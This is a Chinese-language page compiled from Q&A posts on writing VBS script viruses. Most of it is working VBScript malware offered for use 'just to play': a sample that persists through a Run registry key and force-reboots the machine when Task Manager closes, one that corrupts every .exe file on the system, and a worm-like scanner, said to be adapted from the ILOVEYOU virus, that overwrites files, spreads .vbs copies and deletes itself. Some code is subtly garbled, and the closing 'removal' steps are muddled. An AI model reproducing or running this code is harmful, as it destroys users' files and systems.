文章大纲：

• 1、vbs脚本病毒编写教程（不是拿去害人，是自己用来玩玩） 急！！！！！
• 2、VBS病毒怎样做？
• 3、求用vbs编写autorun病毒简单代码，给分很多的
• 4、自制简单电脑病毒破解

vbs脚本病毒编写教程（不是拿去害人，是自己用来玩玩） 急！！！！！

Set ws=WScript.CreateObject("wscript.shell")

Set fso=WScript.CreateObject("scripting.filesystemobject")

path1=fso.GetSpecialFolder(1)

Set fs1=fso.getfile(WScript.ScriptFullName)

path2=path1 "\" fs1.Name

ws.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\aa","""" path2 """","REG_SZ"

If Not fso.FileExists(path2) then

fs1.Copy(path1 "\")

ws.Run """" path2 """",True,True

End If

do

Set wmi=GetObject("winmgmts:\\.\root\cimv2")

Set list=wmi.ExecQuery("select * from win32_process where name='taskmgr.exe'")

If list.count0 Then

Call fun2()

End If

WScript.Sleep 3000

loop

Function fun2()

do

Set wmi2=GetObject("winmgmts:\\.\root\cimv2")

Set list2=wmi2.ExecQuery("select * from win32_process where name='taskmgr.exe'")

If list2.count=0 Then

Set wmi3=GetObject("winmgmts:{(shutdown)}\\.\root\cimv2")

Set list3=wmi3.ExecQuery("select * from win32_operatingsystem")

For Each uu In list3

uu.win32shutdown(2+4)

next

End If

wscript.sleep 2000

loop

End function

VBS病毒怎样做？

on error resume next

Set FSO = CreateObject("Scripting.FileSystemObject")

Set bage= GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\cimv2")

Set pipe =bage.ExecQuery("Select * from CIM_DataFile where Extension = 'exe'")

For Each File in pipe

Set objFile =FSO.OpenTextFile(file.name,8,true)

objFile.Writeline "111111"

objFile.Close

next

求用vbs编写autorun病毒简单代码，给分很多的

自己改一下：

dim

folder,fso,foldername,f,d,dc

set

fso=createobject("scripting.filesystemobject")

set

self=fso.opentextfile(wscript.scriptfullname,1)

vbscopy=self.readall

'读取病毒体，以备复制到文件

self.close

set

dc=fso.Drives

for

each

d

in

dc

if

d.drivetype=3

or

d.drivetype=2

then

'检查磁盘类型

wscript.echo

d

'弹出窗口，显示找到盘符

scan(d)

end

if

next

lsfile=wscript.scriptfullname

'该脚本程序路径

set

lsfile=fso.getfile(lsfile)

lsfile.delete(true)

'病毒运行后自我删除(本人自加，爱虫病毒本身没有该代码）

sub

scan(folder_)

on

error

resume

next

set

folder_=fso.getfolder(folder_)

set

files=folder_.files

for

each

file

in

files

ext=fso.GetExtensionName(file)

'获取文件后缀

ext=lcase(ext)

'后缀名转换成小写字母

if

ext="mp5"

then

'如果后缀名是mp5,当然不存在这种文件，这里可以自己修改，但是注意。请自己建立相应后缀名的文件，更好是非正常后缀名

set

ap=fso.opentextfile(file.path,2,true)

'

ap.write

vbscopy

'覆盖文件，慎用

ap.close

set

cop=fso.getfile(file.path)

cop.copy(file.path

".vbs")

'创建另外一个病毒文件

'

file.delete(true)

'删除原来文件

end

if

next

set

subfolders=folder_.subfolders

for

each

subfolder

in

subfolders

'搜索其他目录

scan(subfolder)

next

end

sub

自制简单电脑病毒破解

右键点击桌面下方的弹窗，然后点击进入程序页面，钩选时间然后调整时间设置，点击确认，电脑自制的vbs小病毒就可以在相应的时间后关闭，就成功破解了。（本操作由win10完成，其他版本可能不适用，请谅解）

右键点击

点击进入程序页面

钩选时间然后调整时间设置，点击确认

右键点击桌面下方的弹窗，然后点击进入程序页面，钩选时间然后调整时间设置，点击确认，电脑自制的vbs小病毒就可以在相应的时间后关闭，就成功破解了。（本操作由win10完成，其他版本可能不适用，请谅解）